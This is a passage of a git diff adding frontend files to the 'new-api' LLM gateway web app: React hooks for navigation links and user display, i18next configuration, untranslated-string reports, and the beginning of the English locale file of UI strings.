+ * Generate top navigation links based on HeaderNavModules configuration from backend /api/status
+ * Backend format example (stringified JSON):
+ * {
+ *   home: true,
+ *   console: true,
+ *   pricing: { enabled: true, requireAuth: false },
+ *   docs: true,
+ *   about: true
+ * }
+ */
+export function useTopNavLinks(): TopNavLink[] {
+  const { t } = useTranslation()
+  const { status } = useStatus()
+  const { auth } = useAuthStore()
+
+  // Parse HeaderNavModules
+  const modules = useMemo(() => {
+    const raw = status?.HeaderNavModules
+    // If empty string, null, or undefined, use default config
+    if (!raw || (raw as string).trim() === '') {
+      return DEFAULT_HEADER_NAV_MODULES
+    }
+    try {
+      return JSON.parse(raw as string)
+    } catch {
+      // Parse failed, use default config
+      return DEFAULT_HEADER_NAV_MODULES
+    }
+  }, [status?.HeaderNavModules])
+
+  // Documentation link (may be external)
+  const docsLink: string | undefined = status?.docs_link as string | undefined
+
+  const isAuthed = !!auth?.user
+
+  const links: TopNavLink[] = []
+
+  // Home
+  if (modules?.home !== false) {
+    links.push({ title: t('Home'), href: '/' })
+  }
+
+  // Console -> /dashboard (new console path)
+  if (modules?.console !== false) {
+    links.push({ title: t('Console'), href: '/dashboard' })
+  }
+
+  // Pricing
+  const pricing = modules?.pricing
+  if (pricing && typeof pricing === 'object' && pricing.enabled) {
+    const disabled = pricing.requireAuth && !isAuthed
+    links.push({ title: t('Pricing'), href: '/pricing', disabled })
+  }
+
+  // Docs (supports external links)
+  if (modules?.docs !== false) {
+    if (docsLink) {
+      links.push({ title: t('Docs'), href: docsLink, external: true })
+    } else {
+      links.push({ title: t('Docs'), href: '/docs' })
+    }
+  }
+
+  // About
+  if (modules?.about !== false) {
+    links.push({ title: t('About'), href: '/about' })
+  }
+
+  return links
+}
diff --git a/new-api/web/default/src/hooks/use-user-display.ts b/new-api/web/default/src/hooks/use-user-display.ts
new file mode 100644
index 0000000..fe231e9
--- /dev/null
+++ b/new-api/web/default/src/hooks/use-user-display.ts
@@ -0,0 +1,56 @@
+import { useMemo } from 'react'
+import { useTranslation } from 'react-i18next'
+import type { AuthUser } from '@/stores/auth-store'
+import { getRoleLabel } from '@/lib/roles'
+
+/**
+ * Custom hook to format user display information
+ * Centralizes user display logic used across ProfileDropdown and MobileDrawer
+ */
+export function useUserDisplay(user: AuthUser | null | undefined) {
+  const { t } = useTranslation()
+  return useMemo(() => {
+    if (!user) {
+      return {
+        displayName: t('User'),
+        secondaryText: '',
+        initials: 'U',
+        roleLabel: '',
+      }
+    }
+
+    // Display name: priority order
+    const displayName = user.display_name || user.username || t('User')
+
+    // Secondary text: first available identifier
+    const secondaryText = (() => {
+      if (user.email) return user.email
+      if (user.github_id) return `GitHub ID: ${user.github_id}`
+      if (user.oidc_id) return `OIDC ID: ${user.oidc_id}`
+      if (user.wechat_id) return `WeChat ID: ${user.wechat_id}`
+      if (user.telegram_id) return `Telegram ID: ${user.telegram_id}`
+      if (user.linux_do_id) return `LinuxDO ID: ${user.linux_do_id}`
+      if (user.username) return user.username
+      if (user.display_name) return user.display_name
+      return ''
+    })()
+
+    // Generate initials from display name
+    const initials = displayName
+      .split(' ')
+      .map((n: string) => n[0])
+      .join('')
+      .toUpperCase()
+      .slice(0, 2)
+
+    // Get role label
+    const roleLabel = getRoleLabel(user.role)
+
+    return {
+      displayName,
+      secondaryText,
+      initials,
+      roleLabel,
+    }
+  }, [user, t])
+}
diff --git a/new-api/web/default/src/i18n/config.ts b/new-api/web/default/src/i18n/config.ts
new file mode 100644
index 0000000..27a91f1
--- /dev/null
+++ b/new-api/web/default/src/i18n/config.ts
@@ -0,0 +1,39 @@
+import i18n from 'i18next'
+import LanguageDetector from 'i18next-browser-languagedetector'
+import { initReactI18next } from 'react-i18next'
+import en from './locales/en.json'
+import fr from './locales/fr.json'
+import ja from './locales/ja.json'
+import ru from './locales/ru.json'
+import vi from './locales/vi.json'
+import zh from './locales/zh.json'
+
+export const resources = {
+  en,
+  zh,
+  fr,
+  ru,
+  ja,
+  vi,
+} as const
+
+i18n
+  .use(LanguageDetector)
+  .use(initReactI18next)
+  .init({
+    resources,
+    fallbackLng: 'en',
+    supportedLngs: ['en', 'zh', 'fr', 'ru', 'ja', 'vi'],
+    load: 'languageOnly', // Convert zh-CN -> zh
+    nsSeparator: false, // Allow literal colons in keys (e.g., URLs, labels)
+    debug: import.meta.env.DEV,
+    interpolation: {
+      escapeValue: false, // not needed for react as it escapes by default
+    },
+    detection: {
+      order: ['localStorage', 'navigator'],
+      caches: ['localStorage'],
+    },
+  })
+
+export default i18n
diff --git a/new-api/web/default/src/i18n/locales/_reports/_sync-report.json b/new-api/web/default/src/i18n/locales/_reports/_sync-report.json
new file mode 100644
index 0000000..9386200
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/_reports/_sync-report.json
@@ -0,0 +1,41 @@
+{
+  "base": "en.json",
+  "locales": {
+    "en": {
+      "file": "en.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 0
+    },
+    "fr": {
+      "file": "fr.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 0
+    },
+    "ja": {
+      "file": "ja.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 84
+    },
+    "ru": {
+      "file": "ru.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 88
+    },
+    "vi": {
+      "file": "vi.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 0
+    },
+    "zh": {
+      "file": "zh.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 96
+    }
+  }
+}
diff --git a/new-api/web/default/src/i18n/locales/_reports/fr.untranslated.json b/new-api/web/default/src/i18n/locales/_reports/fr.untranslated.json
new file mode 100644
index 0000000..0bae8f2
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/_reports/fr.untranslated.json
@@ -0,0 +1,5 @@
+{
+  "Go to Settings": "Go to Settings",
+  "Failed to adjust quota": "Failed to adjust quota",
+  "Select an operation mode and enter the amount": "Select an operation mode and enter the amount"
+}
diff --git a/new-api/web/default/src/i18n/locales/_reports/ja.untranslated.json b/new-api/web/default/src/i18n/locales/_reports/ja.untranslated.json
new file mode 100644
index 0000000..99a8b3b
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/_reports/ja.untranslated.json
@@ -0,0 +1,86 @@
+{
+  "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+  "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+  "/status/": "/status/",
+  "/your/endpoint": "/your/endpoint",
+  "AIGC2D": "AIGC2D",
+  "Anthropic": "Anthropic",
+  "API URL": "API URL",
+  "API2GPT": "API2GPT",
+  "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+  "checkout.session.completed": "checkout.session.completed",
+  "checkout.session.expired": "checkout.session.expired",
+  "Claude": "Claude",
+  "Cloudflare": "Cloudflare",
+  "Cohere": "Cohere",
+  "DeepSeek": "DeepSeek",
+  "Discord": "Discord",
+  "DoubaoVideo": "DoubaoVideo",
+  "edit_this": "edit_this",
+  "FastGPT": "FastGPT",
+  "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+  "footer.columns.related.links.neko": "neko-api-key-tool",
+  "Gemini": "Gemini",
+  "GitHub": "GitHub",
+  "gpt-3.5-turbo": "gpt-3.5-turbo",
+  "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+  "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+  "https://api.example.com": "https://api.example.com",
+  "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+  "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+  "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+  "https://docs.example.com": "https://docs.example.com",
+  "https://example.com": "https://example.com",
+  "https://example.com/logo.png": "https://example.com/logo.png",
+  "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+  "https://example.com/topup": "https://example.com/topup",
+  "https://example.com/webhook": "https://example.com/webhook",
+  "https://gateway.example.com": "https://gateway.example.com",
+  "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+  "https://gotify.example.com": "https://gotify.example.com",
+  "https://pay.example.com": "https://pay.example.com",
+  "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+  "https://status.example.com": "https://status.example.com",
+  "https://wechat-server.example.com": "https://wechat-server.example.com",
+  "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+  "https://your-server.example.com": "https://your-server.example.com",
+  "Jimeng": "Jimeng",
+  "JustSong": "JustSong",
+  "LingYiWanWu": "LingYiWanWu",
+  "LinuxDO": "LinuxDO",
+  "Midjourney": "Midjourney",
+  "MidjourneyPlus": "MidjourneyPlus",
+  "MiniMax": "MiniMax",
+  "Mistral": "Mistral",
+  "MokaAI": "MokaAI",
+  "Moonshot": "Moonshot",
+  "my-status": "my-status",
+  "name@example.com": "name@example.com",
+  "NewAPI": "NewAPI",
+  "noreply@example.com": "noreply@example.com",
+  "OhMyGPT": "OhMyGPT",
+  "Ollama": "Ollama",
+  "OpenAI": "OpenAI",
+  "OpenAIMax": "OpenAIMax",
+  "OpenRouter": "OpenRouter",
+  "org-...": "org-...",
+  "Passkey": "Passkey",
+  "Perplexity": "Perplexity",
+  "price_xxx": "price_xxx",
+  "QuantumNous": "QuantumNous",
+  "Replicate": "Replicate",
+  "SiliconFlow": "SiliconFlow",
+  "smtp.example.com": "smtp.example.com",
+  "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+  "Stripe": "Stripe",
+  "Submodel": "Submodel",
+  "SunoAPI": "SunoAPI",
+  "Telegram": "Telegram",
+  "Vertex AI": "Vertex AI",
+  "VolcEngine": "VolcEngine",
+  "Webhook URL": "Webhook URL",
+  "Webhook URL:": "Webhook URL:",
+  "whsec_xxx": "whsec_xxx",
+  "Xinference": "Xinference",
+  "Xunfei": "Xunfei"
+}
diff --git a/new-api/web/default/src/i18n/locales/_reports/ru.untranslated.json b/new-api/web/default/src/i18n/locales/_reports/ru.untranslated.json
new file mode 100644
index 0000000..50bb6ee
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/_reports/ru.untranslated.json
@@ -0,0 +1,90 @@
+{
+  "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+  "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+  "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+  "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+  "/status/": "/status/",
+  "/your/endpoint": "/your/endpoint",
+  "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+  "AI Proxy": "AI Proxy",
+  "AIGC2D": "AIGC2D",
+  "Anthropic": "Anthropic",
+  "API2GPT": "API2GPT",
+  "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+  "Baidu V2": "Baidu V2",
+  "checkout.session.completed": "checkout.session.completed",
+  "checkout.session.expired": "checkout.session.expired",
+  "Cloudflare": "Cloudflare",
+  "Cohere": "Cohere",
+  "DeepSeek": "DeepSeek",
+  "Discord": "Discord",
+  "DoubaoVideo": "DoubaoVideo",
+  "example.com&#10;blocked-site.com": "example.com&#10;blocked-site.com",
+  "example.com&#10;company.com": "example.com&#10;company.com",
+  "FastGPT": "FastGPT",
+  "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+  "footer.columns.related.links.neko": "neko-api-key-tool",
+  "Gemini": "Gemini",
+  "GitHub": "GitHub",
+  "gpt-3.5-turbo": "gpt-3.5-turbo",
+  "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+  "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+  "https://api.example.com": "https://api.example.com",
+  "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+  "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+  "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+  "https://docs.example.com": "https://docs.example.com",
+  "https://example.com": "https://example.com",
+  "https://example.com/logo.png": "https://example.com/logo.png",
+  "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+  "https://example.com/topup": "https://example.com/topup",
+  "https://example.com/webhook": "https://example.com/webhook",
+  "https://gateway.example.com": "https://gateway.example.com",
+  "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+  "https://gotify.example.com": "https://gotify.example.com",
+  "https://pay.example.com": "https://pay.example.com",
+  "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+  "https://status.example.com": "https://status.example.com",
+  "https://wechat-server.example.com": "https://wechat-server.example.com",
+  "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+  "https://your-server.example.com": "https://your-server.example.com",
+  "Jimeng": "Jimeng",
+  "JustSong": "JustSong",
+  "LingYiWanWu": "LingYiWanWu",
+  "LinuxDO": "LinuxDO",
+  "Midjourney": "Midjourney",
+  "MidjourneyPlus": "MidjourneyPlus",
+  "MiniMax": "MiniMax",
+  "Mistral": "Mistral",
+  "MokaAI": "MokaAI",
+  "Moonshot": "Moonshot",
+  "name@example.com": "name@example.com",
+  "NewAPI": "NewAPI",
+  "noreply@example.com": "noreply@example.com",
+  "OAuth Client Secret": "OAuth Client Secret",
+  "OhMyGPT": "OhMyGPT",
+  "Ollama": "Ollama",
+  "OpenAI": "OpenAI",
+  "OpenAIMax": "OpenAIMax",
+  "OpenRouter": "OpenRouter",
+  "Passkey": "Passkey",
+  "Perplexity": "Perplexity",
+  "price_xxx": "price_xxx",
+  "QuantumNous": "QuantumNous",
+  "Replicate": "Replicate",
+  "SiliconFlow": "SiliconFlow",
+  "smtp.example.com": "smtp.example.com",
+  "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+  "Stripe": "Stripe",
+  "Submodel": "Submodel",
+  "SunoAPI": "SunoAPI",
+  "Telegram": "Telegram",
+  "Tencent": "Tencent",
+  "Vertex AI": "Vertex AI",
+  "VolcEngine": "VolcEngine",
+  "WeChat": "WeChat",
+  "whsec_xxx": "whsec_xxx",
+  "Xinference": "Xinference",
+  "Xunfei": "Xunfei",
+  "Zhipu V4": "Zhipu V4"
+}
diff --git a/new-api/web/default/src/i18n/locales/_reports/vi.untranslated.json b/new-api/web/default/src/i18n/locales/_reports/vi.untranslated.json
new file mode 100644
index 0000000..0bae8f2
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/_reports/vi.untranslated.json
@@ -0,0 +1,5 @@
+{
+  "Go to Settings": "Go to Settings",
+  "Failed to adjust quota": "Failed to adjust quota",
+  "Select an operation mode and enter the amount": "Select an operation mode and enter the amount"
+}
diff --git a/new-api/web/default/src/i18n/locales/_reports/zh.untranslated.json b/new-api/web/default/src/i18n/locales/_reports/zh.untranslated.json
new file mode 100644
index 0000000..78ee1e3
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/_reports/zh.untranslated.json
@@ -0,0 +1,98 @@
+{
+  "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+  "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+  "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+  "/status/": "/status/",
+  "/your/endpoint": "/your/endpoint",
+  "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+  "AI Proxy": "AI Proxy",
+  "AIGC2D": "AIGC2D",
+  "Anthropic": "Anthropic",
+  "API URL": "API URL",
+  "API2GPT": "API2GPT",
+  "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+  "checkout.session.completed": "checkout.session.completed",
+  "checkout.session.expired": "checkout.session.expired",
+  "Claude": "Claude",
+  "Client ID": "Client ID",
+  "Client Secret": "Client Secret",
+  "Cloudflare": "Cloudflare",
+  "Cohere": "Cohere",
+  "DeepSeek": "DeepSeek",
+  "Discord": "Discord",
+  "DoubaoVideo": "DoubaoVideo",
+  "edit_this": "edit_this",
+  "example.com&#10;blocked-site.com": "example.com&#10;blocked-site.com",
+  "example.com&#10;company.com": "example.com&#10;company.com",
+  "FastGPT": "FastGPT",
+  "footer.columns.related.links.midjourney": "Midjourney-Proxy",
+  "footer.columns.related.links.neko": "neko-api-key-tool",
+  "footer.columns.related.links.oneApi": "One API",
+  "Gemini": "Gemini",
+  "GitHub": "GitHub",
+  "gpt-3.5-turbo": "gpt-3.5-turbo",
+  "gpt-3.5-turbo-0125": "gpt-3.5-turbo-0125",
+  "https://api.day.app/yourkey/{{title}}/{{content}}": "https://api.day.app/yourkey/{{title}}/{{content}}",
+  "https://api.example.com": "https://api.example.com",
+  "https://ark.ap-southeast.bytepluses.com": "https://ark.ap-southeast.bytepluses.com",
+  "https://ark.cn-beijing.volces.com": "https://ark.cn-beijing.volces.com",
+  "https://cloud.siliconflow.cn/i/hij0YNTZ": "https://cloud.siliconflow.cn/i/hij0YNTZ",
+  "https://docs.example.com": "https://docs.example.com",
+  "https://example.com": "https://example.com",
+  "https://example.com/logo.png": "https://example.com/logo.png",
+  "https://example.com/qr-code.png": "https://example.com/qr-code.png",
+  "https://example.com/topup": "https://example.com/topup",
+  "https://example.com/webhook": "https://example.com/webhook",
+  "https://gateway.example.com": "https://gateway.example.com",
+  "https://github.com/QuantumNous/new-api": "https://github.com/QuantumNous/new-api",
+  "https://gotify.example.com": "https://gotify.example.com",
+  "https://pay.example.com": "https://pay.example.com",
+  "https://provider.com/.well-known/openid-configuration": "https://provider.com/.well-known/openid-configuration",
+  "https://status.example.com": "https://status.example.com",
+  "https://wechat-server.example.com": "https://wechat-server.example.com",
+  "https://worker.example.workers.dev": "https://worker.example.workers.dev",
+  "https://your-server.example.com": "https://your-server.example.com",
+  "Jimeng": "Jimeng",
+  "JustSong": "JustSong",
+  "LingYiWanWu": "LingYiWanWu",
+  "LinuxDO": "LinuxDO",
+  "Midjourney": "Midjourney",
+  "MidjourneyPlus": "MidjourneyPlus",
+  "MiniMax": "MiniMax",
+  "Mistral": "Mistral",
+  "MokaAI": "MokaAI",
+  "Moonshot": "Moonshot",
+  "name@example.com": "name@example.com",
+  "New API": "New API",
+  "New API &lt;noreply@example.com&gt;": "New API &lt;noreply@example.com&gt;",
+  "NewAPI": "NewAPI",
+  "noreply@example.com": "noreply@example.com",
+  "OhMyGPT": "OhMyGPT",
+  "Ollama": "Ollama",
+  "One API": "One API",
+  "OpenAI": "OpenAI",
+  "OpenAIMax": "OpenAIMax",
+  "OpenRouter": "OpenRouter",
+  "org-...": "org-...",
+  "Passkey": "Passkey",
+  "Perplexity": "Perplexity",
+  "price_xxx": "price_xxx",
+  "QuantumNous": "QuantumNous",
+  "Quota:": "Quota:",
+  "Replicate": "Replicate",
+  "SiliconFlow": "SiliconFlow",
+  "smtp.example.com": "smtp.example.com",
+  "socks5://user:pass@host:port": "socks5://user:pass@host:port",
+  "Stripe": "Stripe",
+  "Submodel": "Submodel",
+  "SunoAPI": "SunoAPI",
+  "Telegram": "Telegram",
+  "Uptime Kuma": "Uptime Kuma",
+  "Uptime Kuma URL": "Uptime Kuma URL",
+  "Vertex AI": "Vertex AI",
+  "Webhook URL:": "Webhook URL:",
+  "Well-Known URL": "Well-Known URL",
+  "whsec_xxx": "whsec_xxx",
+  "Worker URL": "Worker URL",
+  "Xinference": "Xinference"
+}
diff --git a/new-api/web/default/src/i18n/locales/en.json b/new-api/web/default/src/i18n/locales/en.json
new file mode 100644
index 0000000..8cfe1cf
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/en.json
@@ -0,0 +1,3683 @@
+{
+  "translation": {
+    "360": "360",
+    "1000": "1000",
+    "10000": "10000",
+    "_copy": "_copy",
+    ", and": ", and",
+    "? This action cannot be undone.": "? This action cannot be undone.",
+    ". Please fix the JSON before saving.": ". Please fix the JSON before saving.",
+    ". This action cannot be undone.": ". This action cannot be undone.",
+    "...": "...",
+    "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+    "(Leave empty to dissolve tag)": "(Leave empty to dissolve tag)",
+    "(Optional: redirect model names)": "(Optional: redirect model names)",
+    "(Override all channels' groups)": "(Override all channels' groups)",
+    "(Override all channels' models)": "(Override all channels' models)",
+    "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+    "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"Alipay\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+    "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+    "{{category}} Models": "{{category}} Models",
+    "{{count}} channel(s) deleted": "{{count}} channel(s) deleted",
+    "{{count}} channel(s) disabled": "{{count}} channel(s) disabled",
+    "{{count}} channel(s) enabled": "{{count}} channel(s) enabled",
+    "{{count}} channel(s) failed to disable": "{{count}} channel(s) failed to disable",
+    "{{count}} channel(s) failed to enable": "{{count}} channel(s) failed to enable",
+    "{{count}} days ago": "{{count}} days ago",
+    "{{count}} days remaining": "{{count}} days remaining",
+    "{{count}} disabled channel(s) deleted": "{{count}} disabled channel(s) deleted",
+    "{{count}} hours ago": "{{count}} hours ago",
+    "{{count}} IP(s)": "{{count}} IP(s)",
+    "{{count}} log entries removed.": "{{count}} log entries removed.",
+    "{{count}} minutes ago": "{{count}} minutes ago",
+    "{{count}} model(s)": "{{count}} model(s)",
+    "{{count}} months ago": "{{count}} months ago",
+    "{{count}} override": "{{count}} override",
+    "{{count}} tiers": "{{count}} tiers",
+    "{{count}} weeks ago": "{{count}} weeks ago",
+    "{{field}} updated to {{value}}": "{{field}} updated to {{value}}",
+    "{{field}} updated to {{value}} for tag: {{tag}}": "{{field}} updated to {{value}} for tag: {{tag}}",
+    "{{n}} model(s) selected": "{{n}} model(s) selected",
+    "{{value}}ms": "{{value}}ms",
+    "{{value}}s": "{{value}}s",
+    "@lobehub/icons key": "@lobehub/icons key",
+    "@lobehub/icons key name": "@lobehub/icons key name",
+    "/status/": "/status/",
+    "/your/endpoint": "/your/endpoint",
+    "% off": "% off",
+    "`, and `-nothinking` suffixes while routing to the correct Gemini variant.": "`, and `-nothinking` suffixes while routing to the correct Gemini variant.",
+    "© 2025 Your Company. All rights reserved.": "© 2025 Your Company. All rights reserved.",
+    "| Based on": "| Based on",
+    "0 means unlimited": "0 means unlimited",
+    "1 Day": "1 Day",
+    "1 day ago": "1 day ago",
+    "1 Hour": "1H",
+    "1 hour ago": "1 hour ago",
+    "1 minute ago": "1 minute ago",
+    "1 Month": "1M",
+    "1 month ago": "1 month ago",
+    "1 week ago": "1 week ago",
+    "1 year ago": "1 year ago",
+    "1. Create an application in your Gotify server": "1. Create an application in your Gotify server",
+    "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".": "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".",
+    "10 / page": "10 / page",
+    "100 / page": "100 / page",
+    "14 Days": "14 Days",
+    "192.168.1.1&#10;10.0.0.0/8": "192.168.1.1&#10;10.0.0.0/8",
+    "1M": "1M",
+    "1W": "1W",
+    "2. Copy the application token": "2. Copy the application token",
+    "20 / page": "20 / page",
+    "24 Hours": "24 Hours",
+    "24 hours ago": "24 hours ago",
+    "29 Days": "29 Days",
+    "3. Enter your Gotify server URL and token above": "3. Enter your Gotify server URL and token above",
+    "30 Days": "30 Days",
+    "30 days ago": "30 days ago",
+    "5-Hour Window": "5-Hour Window",
+    "50 / page": "50 / page",
+    "7 Days": "7 Days",
+    "7 days ago": "7 days ago",
+    "80,443,8080": "80,443,8080",
+    "About": "About",
+    "Accept Unpriced Models": "Accept Unpriced Models",
+    "Accepts a JSON array of model identifiers that support the Imagine API.": "Accepts a JSON array of model identifiers that support the Imagine API.",
+    "Accepts comma-separated status codes and inclusive ranges.": "Accepts comma-separated status codes and inclusive ranges.",
+    "Access Denied Message": "Access Denied Message",
+    "Access Forbidden": "Access Forbidden",
+    "Access Policy (JSON)": "Access Policy (JSON)",
+    "Access previous conversations and start new ones.": "Access previous conversations and start new ones.",
+    "Access Token": "Access Token",
+    "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+    "Account Binding Management": "Account Binding Management",
+    "Account Bindings": "Account Bindings",
+    "Account created! Please sign in": "Account created! Please sign in",
+    "Account deleted successfully": "Account deleted successfully",
+    "Account ID *": "Account ID *",
+    "Account Info": "Account Info",
+    "Account used when authenticating with the SMTP server": "Account used when authenticating with the SMTP server",
+    "Action confirmation": "Action Confirmation",
+    "Actions": "Actions",
+    "active": "active",
+    "Active": "Active",
+    "Active Cache Count": "Active Cache Count",
+    "Active Files": "Active Files",
+    "active users": "active users",
+    "Actual Amount": "Actual Amount",
+    "Actual Model": "Actual Model",
+    "Actual Model:": "Actual Model:",
+    "Add": "Add",
+    "Add {{title}}": "Add {{title}}",
+    "Add a group identifier to the auto assignment list.": "Add a group identifier to the auto assignment list.",
+    "Add a new API key by providing necessary info.": "Add a new API key by providing necessary info.",
+    "Add a new channel by providing the necessary information.": "Add a new channel by providing the necessary information.",
+    "Add a new model to the system by providing the necessary information.": "Add a new model to the system by providing the necessary information.",
+    "Add a new user by providing necessary info.": "Add a new user by providing necessary info.",
+    "Add a new vendor to the system": "Add a new vendor to the system",
+    "Add an extra layer of security to your account": "Add an extra layer of security to your account",
+    "Add and submit": "Add and submit",
+    "Add Announcement": "Add Announcement",
+    "Add API": "Add API",
+    "Add API Shortcut": "Add API Shortcut",
+    "Add auto group": "Add auto group",
+    "Add chat preset": "Add chat preset",
+    "Add condition": "Add condition",
+    "Add custom model(s), comma-separated": "Add custom model(s), comma-separated",
+    "Add discount tier": "Add discount tier",
+    "Add each model or tag you want to include.": "Add each model or tag you want to include.",
+    "Add FAQ": "Add FAQ",
+    "Add from available models...": "Add from available models...",
+    "Add Funds": "Add Funds",
+    "Add group": "Add group",
+    "Add Group": "Add Group",
+    "Add group rate limit": "Add group rate limit",
+    "Add group rules": "Add group rules",
+    "Add Mapping": "Add Mapping",
+    "Add method": "Add method",
+    "Add Mode": "Add Mode",
+    "Add model": "Add model",
+    "Add Model": "Add Model",
+    "Add Models": "Add Models",
+    "Add new amount": "Add new amount",
+    "Add new redemption code(s) by providing necessary info.": "Add new redemption code(s) by providing necessary info.",
+    "Add OAuth Provider": "Add OAuth Provider",
+    "Add param/header": "Add param/header",
+    "Add payment method": "Add payment method",
+    "Add photos or files": "Add photos or files",
+    "Add product": "Add product",
+    "Add Provider": "Add Provider",
+    "Add Quota": "Add Quota",
+    "Add ratio override": "Add ratio override",
+    "Add Row": "Add Row",
+    "Add Rule": "Add Rule",
+    "Add rule group": "Add rule group",
+    "Add selectable group": "Add selectable group",
+    "Add subscription": "Add subscription",
+    "Add tags...": "Add tags...",
+    "Add tier": "Add tier",
+    "Add time condition": "Add time condition",
+    "Add time rule group": "Add time rule group",
+    "Add Uptime Kuma Group": "Add Uptime Kuma Group",
+    "Add User": "Add User",
+    "Add user group": "Add user group",
+    "Add your API keys, set up channels and configure access permissions": "Add your API keys, set up channels and configure access permissions",
+    "Added {{count}} custom model(s)": "Added {{count}} custom model(s)",
+    "Added {{count}} model(s)": "Added {{count}} model(s)",
+    "Added successfully": "Added successfully",
+    "Additional information": "Additional information",
+    "Additional Information": "Additional Information",
+    "Additional Limit": "Additional Limit",
+    "Additional Limits": "Additional Limits",
+    "Additional metered capability": "Additional metered capability",
+    "Adjust Quota": "Adjust Quota",
+    "Adjust the appearance and layout to suit your preferences.": "Adjust the appearance and layout to suit your preferences.",
+    "Admin": "Admin",
+    "Admin access required": "Admin access required",
+    "Admin area": "Admin area",
+    "Admin notes (only visible to admins)": "Admin notes (only visible to admins)",
+    "Admin Only": "Admin Only",
+    "Administer user accounts and roles.": "Administer user accounts and roles.",
+    "Administrator account": "Administrator account",
+    "Administrator username": "Administrator username",
+    "Advanced": "Advanced",
+    "Advanced Configuration": "Advanced Configuration",
+    "Advanced options": "Advanced options",
